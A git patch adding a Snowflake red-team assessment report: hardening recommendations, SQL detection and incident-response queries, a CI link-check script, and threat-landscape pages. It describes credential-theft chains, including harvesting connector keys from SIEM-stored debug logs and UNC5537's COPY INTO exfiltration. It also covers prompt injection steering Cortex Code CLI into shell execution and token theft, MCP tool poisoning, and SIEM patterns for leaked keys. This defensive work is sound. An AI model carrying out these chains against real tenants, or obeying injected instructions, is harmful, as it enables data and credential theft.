Audit External Functions for over-privileged backend rolesReview the execution role of every Lambda or Cloud Function backing an External Function. Any role with iam:*, secretsmanager:GetSecretValue, or broad EC2 permissions is a privilege-escalation path from any Snowflake user with USAGE on that function.
Inventory installed Native Apps and disable auto-update on sensitive accountsQuery ACCOUNT_USAGE.APPLICATIONS and review every app's granted privileges. For sensitive production accounts, disable auto-update and require manual approval for version bumps.
Enable ACCOUNT_USAGE streaming to SIEMThe ~45-minute Account Usage latency is too slow for real-time response. Configure Snowflake Trail export or Kafka-based streaming ingest of INFORMATION_SCHEMA for sub-minute alerting.
+ +

Ongoing — AI and agentic surface governance

+ + + + + + + + + + + + + + + + + + + + + + + + + +
ControlImplementation
Enable Cortex AI Guardrails in Horizon CatalogConfigure prompt-injection and jailbreak prevention policies. Treat Guardrails as a detection layer, not a prevention boundary — human review of flagged events is required.
Classify data before indexing into Cortex SearchAny document indexed by Cortex Search becomes a potential injection delivery channel for downstream agents. Exclude PHI/PII documents from Cortex Search until injection-resistant pipelines are validated.
Use ALLOWED_INTERFACES to segregate Snowflake Intelligence accessRestrict ai.snowflake.com to roles that have been approved for AI use. Users with broad data access but no AI use case should not hold the CORTEX_USER role.
Treat Cortex inference as data leaving the boundaryCortex final-response generation passes prompts through Anthropic or Azure-OpenAI models. Audit which tables are accessible to Cortex Analyst and whether that data is acceptable to transmit to a third-party LLM provider under your data classification policy.
+
+ + +
+
+ + + diff --git a/reports/snowflake-platform-assessment/threat-landscape.html b/reports/snowflake-platform-assessment/threat-landscape.html new file mode 100644 index 0000000..4637127 --- /dev/null +++ b/reports/snowflake-platform-assessment/threat-landscape.html @@ -0,0 +1,135 @@ + + + + + + Threat Landscape — Snowflake Assessment + + + +
+ +
+
+

Threat landscape

+

The 2024 UNC5537 campaign and post-incident hardening.

+ +

UNC5537 — The defining incident (May–June 2024)

+

+ UNC5537 is a financially motivated cluster tracked by Mandiant that systematically compromised + Snowflake customer tenants using credentials harvested from infostealer logs, in some cases dating + back to 2020. Mandiant and Snowflake notified approximately 165 affected organizations. Confirmed + victims include AT&T, Ticketmaster/Live Nation, Santander, LendingTree, Advance Auto Parts, + Neiman Marcus, and Bausch Health. +

+

+ The campaign used a custom reconnaissance utility named FROSTBITE to enumerate + users, roles, current IP, session IDs, and organization names via SQL, then bulk-exfiltrated with + COPY INTO @<external_stage> to attacker-controlled S3. +

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Control gapWhy it matteredCurrent Snowflake default (2026)
No MFAThe harvested credential alone was sufficient to authenticate. Snowflake did not require MFA by default at the time.MFA enforced for all human users on new accounts (Oct 2024); mandatory for all human logins since April 2025.
Credentials not rotatedInfostealer logs from 2020 still worked in 2024 — credentials had never been rotated.No automatic rotation enforcement; still a customer responsibility.
No network policyLogins were accepted from any IP, including attacker infrastructure.Trust Center flags accounts without a network policy; enforcement is still opt-in.
+ +
+ The three-gap pattern (no MFA, stale credentials, no network policy) has not been eliminated + by the platform changes — it has been made harder to fall into. Older accounts that predate the October 2024 + defaults, service users exempt from the human-user MFA rollout, and key-pair users without network policies + remain at risk unless administrators actively configure them. +
+ +

Post-2024 platform hardening — what changed

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateChangeAssessment implication
July 2024Account admins can now enforce mandatory MFA account-wide.Assess whether customers have actually toggled this on, not just whether the control exists.
Oct 2024MFA on by default for human users in new accounts.Pre-Oct-2024 accounts retain the old default unless remediated.
Apr 2025Single-factor password sign-ins blocked for all human users.Service users (key-pair, OAuth) are still exempt — and those are now the softer targets.
2025Trust Center GA — Security Essentials scanner flags MFA gaps and missing network policies.Trust Center findings should feed the SOC, not just admin dashboards.
2025–2026Cortex AI Guardrails in Horizon Catalog (prompt injection / jailbreak filter).CVE-2026-6442 post-dates the guardrails announcement; CLI-level command validation and guardrails are separate controls.
+ +

Threat actor profile — 2026 Snowflake assessment

+

The realistic 2026 attacker against an enterprise Snowflake deployment is one or more of:

+
    +
  • Credential-access operator: purchases infostealer logs; validates credentials at scale against Snowflake login endpoints; operates opportunistically against any tenant missing MFA or network controls. UNC5537 is the prototype.
  • +
  • Supply-chain attacker: targets the Native Apps Marketplace provider ecosystem. A compromised provider with a popular app can push a malicious update to consumer tenants without re-consent.
  • +
  • AI-aware attacker: plants indirect prompt injection in public content to steer Cortex Code or Cortex Agents into exfiltrating data or modifying credentials. CVE-2026-6442 is the first public example.
  • +
  • Cloud-identity pivoting actor: uses a compromised Entra/Okta tenant to forge SAML assertions or OIDC tokens for high-privileged Snowflake users, bypassing Snowflake-side MFA if the federation trust is not scoped to MFA-verified sessions.
  • +
  • Insider / misconfigured developer: exfiltrates through over-privileged Storage Integrations or External Functions that were correctly authorized for a narrow use case but bound to an over-broad IAM role.
  • +
+
+ + +
+
+ + + diff --git a/site/index.html b/site/index.html index 7273138..2c3e691 100644 --- a/site/index.html +++ b/site/index.html @@ -230,6 +230,14 @@

Databricks Apps Security Assessment

Open Interactive Dashboard → (runs in-browser via WebAssembly — simulated data, no live C2)

+
+

Snowflake Platform Security Assessment

+

Red-team assessment of the Snowflake data-cloud platform: credential-theft attack chains + (UNC5537 pattern), Cortex AI prompt-injection to code execution (CVE-2026-6442), Native + Apps Marketplace supply-chain risk, cross-cloud identity pivots via Storage Integrations, + and detection-engineering gaps across Account Usage, Snowflake Trail, and Trust Center.

+

Open Assessment Report →

+
From f086e3ce89c916af41c7b7ce5a85de13a1f16a1a Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 08:07:45 -0500 Subject: [PATCH 2/2] Snowflake assessment: depth, tiering, CI parity, style hygiene Adds the attack chains and audit surfaces the analysis doc carried but the HTML report omitted (key-pair theft, Direct Share / Replication exfil, SPCS egress, MCP tool poisoning, connector debug-log to SIEM, bind-parameter evasion, CVE-2026-6442 retrospective hunt), the auth-surface table covering PATs and SCIM, and a Cortex inference-egress section. Tiers recommendations with P0/P1/P2 badges and owner/effort hints. Adds an appendix page with glossary and scope. CI gains a nav-parity and internal-link check, and the assemble step is hardened with an explicit allowlist and an existence gate. Co-Authored-By: Claude Opus 4.7 (1M context) --- .github/workflows/main-ci.yml | 12 +- ci/check_snowflake_report_integrity.py | 76 ++++++++ .../snowflake-platform-attack-surface-2026.md | 76 ++++---- .../snowflake-platform-assessment/README.md | 16 +- .../appendix.html | 171 ++++++++++++++++++ .../assets/style.css | 41 +++++ .../attack-chains.html | 134 +++++++++++++- .../cve-inventory.html | 48 ++++- .../detection.html | 105 ++++++++++- .../snowflake-platform-assessment/index.html | 11 +- .../recommendations.html | 153 +++++++++++++--- .../threat-landscape.html | 99 +++++++++- 12 files changed, 842 insertions(+), 100 deletions(-) create mode 100755 ci/check_snowflake_report_integrity.py create mode 100644 reports/snowflake-platform-assessment/appendix.html diff --git a/.github/workflows/main-ci.yml b/.github/workflows/main-ci.yml index 1be4305..8bfef4d 100644 --- a/.github/workflows/main-ci.yml +++ b/.github/workflows/main-ci.yml @@ -56,7 +56,8 @@ jobs: ci/check_loldrivers_hash_only.py \ ci/check_mock_services_loopback.py \ ci/check_no_real_rmm_license.py \ - ci/check_no_suspicious_pth.py; do + ci/check_no_suspicious_pth.py \ + ci/check_snowflake_report_integrity.py; do name=$(basename "$check" .py) if python3 "$check"; then echo "- ✅ \`${name}\`" >> $GITHUB_STEP_SUMMARY @@ -276,9 +277,12 @@ jobs: mkdir -p _site/dashboard/assets cp reports/databricks-apps-assessment/assets/*.svg _site/dashboard/assets/ 2>/dev/null || true - # Copy Snowflake assessment (static HTML/CSS — no build step needed) - cp -r reports/snowflake-platform-assessment _site/snowflake - rm -f _site/snowflake/README.md + # Copy Snowflake assessment (static HTML/CSS — no build step needed). + # Explicit allowlist so future *.md / notes / TODOs stay out of _site. + mkdir -p _site/snowflake/assets + cp reports/snowflake-platform-assessment/*.html _site/snowflake/ + cp reports/snowflake-platform-assessment/assets/*.css _site/snowflake/assets/ + test -f _site/snowflake/index.html || { echo "assemble: snowflake/index.html missing"; exit 1; } # Copy CVE README as an index cp cves/README.md _site/cve-index.md 2>/dev/null || true diff --git a/ci/check_snowflake_report_integrity.py b/ci/check_snowflake_report_integrity.py new file mode 100755 index 0000000..b97be74 --- /dev/null +++ b/ci/check_snowflake_report_integrity.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +"""CI gate: Snowflake report HTML pages must share an identical nav block +and every internal href must resolve to a sibling file.""" +import re +import sys +from pathlib import Path + +ROOT = Path(__file__).resolve().parent.parent +REPORT_DIR = ROOT / "reports" / "snowflake-platform-assessment" + +NAV_RE = re.compile(r"", re.DOTALL) +HREF_RE = re.compile(r'href="([^"#?]+)(?:[#?][^"]*)?"') + + +def collect_pages(): + return sorted(REPORT_DIR.glob("*.html")) + + +def check_nav_parity(pages): + navs = {} + for p in pages: + m = NAV_RE.search(p.read_text()) + if not m: + return [f"{p.relative_to(ROOT)}: no
@@ -31,9 +32,9 @@

High and medium severity — Snowflake-owned components

- - - + + + @@ -161,6 +162,46 @@

Lower severity — connector stack secret-leakage cohort (2025)

CVEComponentCVSSCVEComponentCVSS Summary and red-team relevance
+

Class-level chain: connector debug logs to SIEM-mediated credential theft

+

+ The "Lower severity" cohort above all share a low individual CVSS score, but a defender should + model them as a single class with a credible exfil path. The class is "secrets land in a debug + log file"; debug logs are routinely shipped to a SIEM via Fluent Bit, Filebeat, or vendor agents; + SIEM read access is broadly granted across security and platform teams. The end-to-end chain: +

+
+
Chain — Debug-log master key collection at SIEM scale
+
+
    +
  1. Confirm the customer ships connector logs to a SIEM (typical for Splunk-, Sentinel-, + Chronicle-, or Datadog-tier security programs). The log-forwarding agent is configured at + the host level — debug-level flags on the connector flow through unchanged.
  2. +
  3. Identify any production host where the connector is running with a non-INFO log level — + JDBC, Python, .NET, Go, Node, C/C++ are all in the class. Common reasons for elevated + logging: a past incident debug session that was never reverted; a verbose dbt or Airflow + configuration; a developer's SNOWFLAKE_LOG_LEVEL=DEBUG still set in a CI + template.
  4. +
  5. The CVE class — CVE-2025-27496, CVE-2025-46329, CVE-2025-46326/46327/46328 — causes the + connector to write client-side-encryption master keys, cached tokens, or logging-config + race state into the log file. These secrets now live wherever the SIEM stores + indexed events.
  6. +
  7. Compromise a user with SIEM read access — typically a much wider population than the set + with direct Snowflake access. SIEM read does not generate Snowflake audit events; the + exfil step is invisible to LOGIN_HISTORY and QUERY_HISTORY + until the attacker replays the harvested credential.
  8. +
  9. Pivot back into Snowflake with the harvested key or token — typically a service-user + identity with no MFA and no network policy by default.
  10. +
+
+ Detection: SIEM-side rules that flag the patterns + (BEGIN PRIVATE KEY, JWT eyJ prefixes, RSA modulus headers, Snowflake + session-token shapes) in connector log streams; configuration-management baselines that ensure + log_level is INFO in every production driver config; periodic audit + of ~/.snowsql/log_file and connector log paths on CI hosts. +
+
+
+

A note on server-side CVE coverage

The CVE record is dominated by client-side components (drivers, connectors, the Cortex Code CLI). @@ -175,7 +216,6 @@

A note on server-side CVE coverage

Source: github.com/AndrewAltimit/exploits  ·  CVE source: OpenCVE — vendor:snowflake

-

All research targets publicly disclosed, patched CVEs. No vendor systems were tested without authorization.

diff --git a/reports/snowflake-platform-assessment/detection.html b/reports/snowflake-platform-assessment/detection.html index 2e75d9d..b64410c 100644 --- a/reports/snowflake-platform-assessment/detection.html +++ b/reports/snowflake-platform-assessment/detection.html @@ -17,6 +17,7 @@
  • Attack chains
  • Detection surface
  • Recommendations
  • +
  • Appendix
  • @@ -28,8 +29,8 @@

    Primary audit sources

    - - + + @@ -54,6 +55,16 @@

    Primary audit sources

    + + + + + + + + + + @@ -120,7 +131,94 @@

    High-value detection queries

    SELECT application_name, source_location, version, patch, created FROM SNOWFLAKE.ACCOUNT_USAGE.APPLICATIONS ORDER BY created DESC -LIMIT 50; +LIMIT 50; + +-- Long-lived or unused Programmatic Access Tokens +SELECT name, user_name, role_name, created_on, last_used_on, days_to_expiry +FROM SNOWFLAKE.ACCOUNT_USAGE.PROGRAMMATIC_ACCESS_TOKENS +WHERE (last_used_on IS NULL AND created_on < DATEADD(day, -30, CURRENT_TIMESTAMP)) + OR DATEDIFF(day, created_on, CURRENT_TIMESTAMP) > 90 +ORDER BY created_on; + +-- New or modified Direct Shares (Chain G — bypasses QUERY_HISTORY at data motion) +SELECT share_name, share_type, kind, created, last_altered, listing_global_name +FROM SNOWFLAKE.ACCOUNT_USAGE.SHARES +WHERE last_altered > DATEADD(day, -7, CURRENT_TIMESTAMP) +ORDER BY last_altered DESC; + +-- DDL events for share / replication primitives (only catch at query time) +SELECT user_name, role_name, query_text, start_time +FROM SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY +WHERE start_time > DATEADD(day, -7, CURRENT_TIMESTAMP) + AND (query_text ILIKE 'CREATE%SHARE%' + OR query_text ILIKE 'ALTER%SHARE%ADD%ACCOUNTS%' + OR query_text ILIKE 'CREATE%REPLICATION%GROUP%' + OR query_text ILIKE 'CREATE%MANAGED%ACCOUNT%') +ORDER BY start_time DESC; + +

    Incident-response queries

    +

    + Queries oriented toward containment and forensic enumeration after a credential or + session has been flagged. These complement the proactive detection rules above. +

    +
    -- Containment: kill a specific session (account admin only)
    +SELECT SYSTEM$ABORT_SESSION(<session_id>);
    +
    +-- Containment: kill every running query for a flagged user
    +SELECT SYSTEM$CANCEL_ALL_QUERIES('<USER_NAME>');
    +
    +-- Forensics: every session for a flagged user, last 14 days
    +SELECT session_id, login_event_id, client_application_id, client_ip, created_on
    +FROM SNOWFLAKE.ACCOUNT_USAGE.SESSIONS
    +WHERE user_name = '<USER_NAME>'
    +  AND created_on > DATEADD(day, -14, CURRENT_TIMESTAMP)
    +ORDER BY created_on DESC;
    +
    +-- Forensics: every query in a flagged session
    +SELECT query_id, query_text, start_time, bytes_written_to_result, rows_produced
    +FROM SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY
    +WHERE session_id = <SESSION_ID>
    +ORDER BY start_time;
    +
    +-- Key-pair rotation age (Chain F target population)
    +SELECT name, has_rsa_public_key, has_rsa_public_key_2,
    +       rsa_public_key_fp, rsa_public_key_2_fp,
    +       last_success_login,
    +       DATEDIFF(day, created_on, CURRENT_TIMESTAMP) AS key_age_days
    +FROM SNOWFLAKE.ACCOUNT_USAGE.USERS
    +WHERE has_rsa_public_key = 'true'
    +  AND deleted_on IS NULL
    +ORDER BY key_age_days DESC;
    +
    +-- Service users without a network policy attached
    +SELECT u.name, u.type, u.has_rsa_public_key, u.last_success_login
    +FROM SNOWFLAKE.ACCOUNT_USAGE.USERS u
    +LEFT JOIN SNOWFLAKE.ACCOUNT_USAGE.POLICY_REFERENCES p
    +  ON p.ref_entity_name = u.name AND p.policy_kind = 'NETWORK_POLICY'
    +WHERE u.deleted_on IS NULL
    +  AND (u.type = 'SERVICE' OR u.has_rsa_public_key = 'true')
    +  AND p.policy_id IS NULL;
    +
    +-- OWNER-rights procedures (Snowflake-native persistence candidates)
    +SELECT procedure_name, procedure_owner, procedure_language, execute_as, created, last_altered
    +FROM SNOWFLAKE.ACCOUNT_USAGE.PROCEDURES
    +WHERE execute_as = 'OWNER'
    +  AND deleted IS NULL
    +ORDER BY last_altered DESC;
    +
    +-- Scheduled Tasks and their owners (persistence audit)
    +SELECT name, database_name, schema_name, owner, owner_role_type,
    +       definition, schedule, state, last_altered
    +FROM SNOWFLAKE.ACCOUNT_USAGE.TASKS
    +WHERE deleted IS NULL
    +  AND state = 'started'
    +ORDER BY last_altered DESC;
    +
    +-- Audit replication health (cross-region forensics depends on this)
    +SHOW REPLICATION DATABASES;
    +SELECT database_name, is_primary, replication_schedule, last_refresh_status_modified_at
    +FROM TABLE(INFORMATION_SCHEMA.DATABASE_REPLICATION_USAGE_HISTORY(
    +  DATE_RANGE_START => DATEADD(day, -7, CURRENT_DATE)));
    diff --git a/reports/snowflake-platform-assessment/index.html b/reports/snowflake-platform-assessment/index.html index 8dd1de2..8898d6c 100644 --- a/reports/snowflake-platform-assessment/index.html +++ b/reports/snowflake-platform-assessment/index.html @@ -17,6 +17,7 @@
  • Attack chains
  • Detection surface
  • Recommendations
  • +
  • Appendix
  • @@ -44,7 +45,7 @@

    Key findings

    SourceLatencySourceLatency Key signals
    ~45 min Installed Native Apps with version history. Monitor for unexpected version bumps.
    ACCOUNT_USAGE.PROGRAMMATIC_ACCESS_TOKENS~45 minPAT issuance, last-use, expiration, owner role. Detect long-lived PATs past the rotation policy and PATs that have never been used (over-provisioned, unrotated).
    ACCOUNT_USAGE.SHARES / REPLICATION_GROUPS / MANAGED_ACCOUNTS~45 minThe audit surface for Chain G (Direct Share / Replication / Reader Account exfil). Diff against a baseline of documented partner accounts.
    Snowflake Trail Near real-time
    - + @@ -53,11 +54,11 @@

    Key findings

    + (2026-02-28); disclosed by PromptArmor. - - + + @@ -103,7 +104,7 @@

    Scope

    Source: github.com/AndrewAltimit/exploits  ·  CVE source: OpenCVE — vendor:snowflake

    -

    All research targets publicly disclosed, patched CVEs. No vendor systems were tested without authorization.

    +

    All research targets publicly disclosed, patched CVEs. No vendor systems were tested without authorization.

    diff --git a/reports/snowflake-platform-assessment/recommendations.html b/reports/snowflake-platform-assessment/recommendations.html index 09c156a..b392779 100644 --- a/reports/snowflake-platform-assessment/recommendations.html +++ b/reports/snowflake-platform-assessment/recommendations.html @@ -17,6 +17,7 @@
  • Attack chains
  • Detection surface
  • Recommendations
  • +
  • Appendix
  • @@ -24,34 +25,73 @@

    Recommendations

    Prioritized controls, all implementable with Snowflake's native tooling.

    -

    Immediate — close the UNC5537 gap pattern

    +
    + Tier and owner conventions. + P0 — must close before any new feature work touches the account; + P1 — sequenced within the next quarter; + P2 — sustained governance, owned in steady state. + Owner labels point to the team most likely to hold the control day-to-day in a typical + enterprise org (Identity, Platform, SOC, Data Eng, + Governance/Legal); adjust to local org structure. +
    + +

    Immediate — close the UNC5537 gap pattern and the post-patch window

    FindingFinding Detail
    Cortex AI sandbox escape (CVE-2026-6442) Indirect prompt injection via an untrusted repository README caused Cortex Code CLI to execute arbitrary shell commands and exfiltrate cached Snowflake tokens. Fixed in Cortex Code CLI 1.0.25 - (Feb 28 2026), disclosed by PromptArmor.
    UNC5537 — 165 tenants compromised (2024)Financially motivated threat actor exfiltrated data from organizations globally using infostealer-harvested credentials against Snowflake accounts without MFA or network policies. AT&T, Ticketmaster, Santander among confirmed victims.UNC5537 — multi-tenant credential-theft campaign (2024)Financially motivated threat actor exfiltrated data from a large cohort of customer organizations using infostealer-harvested credentials against Snowflake accounts without MFA or network policies. AT&T, Ticketmaster, Santander among the confirmed victims.
    JDBC privilege escalation (CVE-2025-24789)
    - + - + - - + + - - + + - + - - + + + + + + + + + +
    ControlControl Implementation
    Enforce MFA on all human users + P0Enforce MFA on all human users + Identity · low effort + Set AUTHENTICATION POLICY with MFA_ENROLLMENT = REQUIRED at account level. Verify no user bypass exceptions exist in LOGIN_HISTORY.
    Network policy on every service userAll key-pair and OAuth service users should have a network policy limiting source IPs to known CI/orchestration ranges. Use Trust Center to enumerate users without policies. + P0Network policy on every service and key-pair user + Identity · medium effort + Key-pair users without a network policy are the most realistic 2026 credential-exfil target (Chain F). Apply per-user network policies limiting source IPs to known CI / orchestration ranges. Use Trust Center's "missing network policy" finding to enumerate gaps.
    Rotate all credentials older than 90 daysFocus first on key-pair private keys in CI runners, dbt profiles, and Airflow connections — the highest-value exfil targets most likely to appear in old infostealer logs. + P0Rotate all credentials older than 90 days + Data Eng · high effort + Focus first on key-pair private keys in CI runners, dbt profiles, and Airflow connections — the highest-value exfil targets most likely to appear in old infostealer logs. Use the IR-style key-rotation-age query on the detection page to drive the work.
    Update all connectors and the Cortex Code CLI + P0Update connectors and the Cortex Code CLI + Platform · low effort + Patch CVE-2025-24789 (JDBC), CVE-2025-24791 (Python connector), CVE-2023-30535/34232 (JDBC/Node SSO injection), and CVE-2026-6442 (Cortex Code CLI ≥ 1.0.25).
    Disable debug logging in production connectorsDebug-level connector logging writes encryption master keys and cached tokens to log files. Set log_level = INFO in all production configurations. + P0Disable debug logging in production connectors + Platform · low effort + Debug-level connector logging writes encryption master keys and cached tokens to log files (CVE-2025-27496 cohort). Set log_level = INFO in all production configurations.
    + P0SIEM-side scanning for secret patterns in connector logs + SOC · medium effort + Even after disabling debug logging, historical SIEM indices may still contain key material from the CVE-2025-27496 / -46329 cohort. Add SIEM rules flagging BEGIN PRIVATE KEY, JWT prefixes, and Snowflake session-token shapes in connector log streams. Triage and purge as needed.
    + P0Retrospective hunt for CVE-2026-6442 exposure + SOC · medium effort + The Cortex Code CLI patch shipped 2026-02-28. For every host that ran Cortex Code prior to that date, hunt the chain B retrospective steps: EDR egress correlation during Cortex sessions, Snowflake LOGIN_HISTORY anomalies across the window, and token rotation for any host that cannot be cleared.
    @@ -60,54 +100,120 @@

    Short-term — reduce blast radius and cross-cloud exposure

    - + - + - + - + - + + + + + + + + + + + + + + + + +
    ControlControl Implementation
    Scope Storage Integration IAM roles + P1Scope Storage Integration IAM roles + Platform · medium effort + Every Storage Integration should bind to an IAM role with access scoped to the minimum necessary bucket prefix. Tag-based access policies on S3 are the recommended enforcement mechanism.
    Audit External Functions for over-privileged backend roles + P1Audit External Functions for over-privileged backend roles + Platform · medium effort + Review the execution role of every Lambda or Cloud Function backing an External Function. Any role with iam:*, secretsmanager:GetSecretValue, or broad EC2 permissions is a privilege-escalation path from any Snowflake user with USAGE on that function.
    Inventory installed Native Apps and disable auto-update on sensitive accounts + P1Inventory Native Apps and disable auto-update on sensitive accounts + Platform · low effort + Query ACCOUNT_USAGE.APPLICATIONS and review every app's granted privileges. For sensitive production accounts, disable auto-update and require manual approval for version bumps.
    Enable ACCOUNT_USAGE streaming to SIEM + P1Baseline SHARES / REPLICATION_GROUPS and alert on diffs + SOC · low effort + Direct Share creation and Replication Group setup (Chain G) bypass query-level audit at data motion. The only chance to catch this path is the DDL event and the ACCOUNT_USAGE object inventory diff. Maintain a baseline of documented partner / replication accounts and alert on every additive change.
    + P1SPCS — review every EXTERNAL ACCESS INTEGRATION + Platform · medium effort + Wildcard ALLOWED_NETWORK_RULES (Chain H) are the realistic SPCS exfil channel. Enumerate every integration; require explicit hostname allow-listing; remove or scope any wildcard rule (*.amazonaws.com, *.azurewebsites.net, generic CDN endpoints).
    + P1Enable ACCOUNT_USAGE streaming to SIEM + SOC · medium effort + The ~45-minute Account Usage latency is too slow for real-time response. Configure Snowflake Trail export or Kafka-based streaming ingest of INFORMATION_SCHEMA for sub-minute alerting.
    + P1PAT inventory and rotation policy + Identity · medium effort + Treat Programmatic Access Tokens like any other long-lived bearer token: maximum lifetime ≤ 90 days, mandatory network policy attachment, and an automated review of ACCOUNT_USAGE.PROGRAMMATIC_ACCESS_TOKENS for PATs older than policy or with no recent use.
    + P1SCIM token rotation and IdP-side access review + Identity · low effort + The SCIM bearer token sits on the IdP side and grants user / role manipulation on Snowflake. Rotate on the same cadence as the IdP's admin credentials; restrict SCIM administration on the IdP to a minimal admin population.
    -

    Ongoing — AI and agentic surface governance

    +

    Ongoing — AI, agentic, and audit-replication governance

    - + - + - - + + - + - - + + + + + + + + + +
    ControlControl Implementation
    Enable Cortex AI Guardrails in Horizon Catalog + P2Enable Cortex AI Guardrails in Horizon Catalog + SOC · low effort + Configure prompt-injection and jailbreak prevention policies. Treat Guardrails as a detection layer, not a prevention boundary — human review of flagged events is required.
    Classify data before indexing into Cortex SearchAny document indexed by Cortex Search becomes a potential injection delivery channel for downstream agents. Exclude PHI/PII documents from Cortex Search until injection-resistant pipelines are validated. + P2Classify data before indexing into Cortex Search + Data Eng · high effort + Any document indexed by Cortex Search becomes a potential injection delivery channel for downstream agents (Chain I). Exclude PHI/PII documents from Cortex Search until injection-resistant pipelines are validated.
    Use ALLOWED_INTERFACES to segregate Snowflake Intelligence access + P2Use ALLOWED_INTERFACES to segregate Snowflake Intelligence access + Identity · low effort + Restrict ai.snowflake.com to roles that have been approved for AI use. Users with broad data access but no AI use case should not hold the CORTEX_USER role.
    Treat Cortex inference as data leaving the boundaryCortex final-response generation passes prompts through Anthropic or Azure-OpenAI models. Audit which tables are accessible to Cortex Analyst and whether that data is acceptable to transmit to a third-party LLM provider under your data classification policy. + P2Treat Cortex inference as data leaving the boundary + Governance/Legal · medium effort + Cortex final-response generation passes prompts and grounding context through Anthropic or Azure-OpenAI models. Update the data-classification policy to state explicitly which protected data classes may pass through Cortex inference; audit which tables are accessible to Cortex Analyst against that policy.
    + P2MCP tool descriptor allowlisting and version pinning + Platform · medium effort + Maintain an explicit allowlist of MCP servers Cortex Agents may call. Pin each entry to a specific descriptor hash; alert on any new MCP server or descriptor churn (Chain I). Treat MCP tool output as untrusted context.
    + P2Confirm cross-region audit replication + SOC · low effort + An attacker targeting a secondary region can leave forensics in a region the SOC doesn't routinely query. Configure replication of audit databases across all regions the account uses; verify with the audit-replication-health query in the detection page.
    @@ -118,7 +224,6 @@

    Ongoing — AI and agentic surface governance

    Source: github.com/AndrewAltimit/exploits  ·  CVE source: OpenCVE — vendor:snowflake

    -

    All research targets publicly disclosed, patched CVEs. No vendor systems were tested without authorization.

    diff --git a/reports/snowflake-platform-assessment/threat-landscape.html b/reports/snowflake-platform-assessment/threat-landscape.html index 4637127..8e9c303 100644 --- a/reports/snowflake-platform-assessment/threat-landscape.html +++ b/reports/snowflake-platform-assessment/threat-landscape.html @@ -17,6 +17,7 @@
  • Attack chains
  • Detection surface
  • Recommendations
  • +
  • Appendix
  • @@ -28,9 +29,9 @@

    UNC5537 — The defining incident (May–June 2024)

    UNC5537 is a financially motivated cluster tracked by Mandiant that systematically compromised Snowflake customer tenants using credentials harvested from infostealer logs, in some cases dating - back to 2020. Mandiant and Snowflake notified approximately 165 affected organizations. Confirmed - victims include AT&T, Ticketmaster/Live Nation, Santander, LendingTree, Advance Auto Parts, - Neiman Marcus, and Bausch Health. + back to 2020. Mandiant and Snowflake notified a large cohort of affected customer organizations. + Confirmed victims include AT&T, Ticketmaster/Live Nation, Santander, LendingTree, Advance Auto + Parts, Neiman Marcus, and Bausch Health.

    The campaign used a custom reconnaissance utility named FROSTBITE to enumerate @@ -115,6 +116,97 @@

    Threat actor profile — 2026 Snowflake assessment

  • Cloud-identity pivoting actor: uses a compromised Entra/Okta tenant to forge SAML assertions or OIDC tokens for high-privileged Snowflake users, bypassing Snowflake-side MFA if the federation trust is not scoped to MFA-verified sessions.
  • Insider / misconfigured developer: exfiltrates through over-privileged Storage Integrations or External Functions that were correctly authorized for a narrow use case but bound to an over-broad IAM role.
  • + +

    Authentication surface

    +

    + Post-April-2025, single-factor password sign-ins are blocked for human users — which moves the + practical attack surface onto non-human credentials and federated sessions. The table below + summarizes the live authentication channels and the red-team-relevant gaps for each. +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    MechanismStatus (2026)Attack surface
    Password (single-factor)Blocked for humans (April 2025)Legacy service users may still allow it; reconnaissance should test before assuming closed.
    Password + MFADefault for human usersMFA fatigue, push bombing, Duo cache replay — same surface as any MFA-protected SaaS.
    Key-pair (RSA)Standard for service usersPrivate keys land in ~/.snowsql/, CI runners, dbt profiles, Airflow connections — these are the soft credential exfil targets in a hardened tenant. Network policies on key-pair users are still opt-in.
    OAuth (Snowflake-native)For tool integrationsOAuth client-secret exfil; refresh-token replay; consent phishing against the OAuth flow.
    External OAuth (Entra/Okta/Ping)Federation for end usersToken audience confusion; Golden SAML on the IdP side; federated-path network policies often less restrictive than direct-login policies.
    SAML SSOFor end usersStandard SAML-assertion forgery applies; classic Golden SAML is the prototype.
    SCIM provisioningOkta/Entra → Snowflake user/role syncSCIM bearer-token theft from the IdP side grants user-creation and group-grant manipulation. Race conditions during group sync can briefly grant elevated grants. The SCIM token is typically stored in IdP admin metadata — assessable as part of the IdP review, not the Snowflake review.
    Programmatic Access Tokens (PATs)GA 2024/2025Long-lived bearer tokens scoped to a specific role and (optionally) a specific network policy. Discovery and rotation gaps are the principal risk: a leaked PAT is a refresh-token-equivalent without an interactive auth event in LOGIN_HISTORY. Monitor ACCOUNT_USAGE.PROGRAMMATIC_ACCESS_TOKENS for issuance, last-use, and expiration; alert on PATs older than the rotation policy or with no recent use.
    + +

    Cortex inference egress

    +

    + Cortex Analyst and Cortex Agents pass prompts and grounding context to large language models + for final-response generation. For most Cortex surfaces this means inference reaches + out-of-Snowflake-boundary providers (Anthropic, Azure-OpenAI). Customers who treat Snowflake + as an in-boundary data store should treat this as a boundary crossing. +

    +
    + What leaves the boundary: the user prompt, the system prompt assembled by + Cortex, and the grounding context the agent fetched (query results, Cortex Search hits, + document excerpts). For an Agent invocation, any column data that satisfied the agent's + retrieval also leaves the boundary as part of the LLM context. Column-level masking does + apply, but masking policies are enforced at SELECT time — masked data does not leave the + boundary, unmasked data the agent's role can read does. +
    +
    + Governance levers a customer has: +
      +
    • ALLOWED_INTERFACES restricts which roles can reach ai.snowflake.com — narrow the population that can invoke Cortex at all.
    • +
    • Two-tier model allowlist: account-level model allowlist plus role-level CORTEX_USER / CORTEX_EMBED_USER grants. A role with broad data access but no AI use case should not hold CORTEX_USER.
    • +
    • Region pinning on the provider side (Azure-OpenAI deployment in a customer-chosen region) constrains where inference physically runs.
    • +
    • Cortex AI Guardrails (Horizon Catalog) screens for prompt-injection and jailbreak content on inputs.
    • +
    +
    +
    + What this assessment cannot conclude: the exact payload shape sent to the + LLM provider, the retention or training-use policy at the provider, and whether grounding + context is ever cached across invocations. These are vendor-side disclosures that the + customer should obtain through a DPA review, not a red-team activity. Data classification + policies should explicitly state whether each protected data class is permitted to be passed + through Cortex inference. +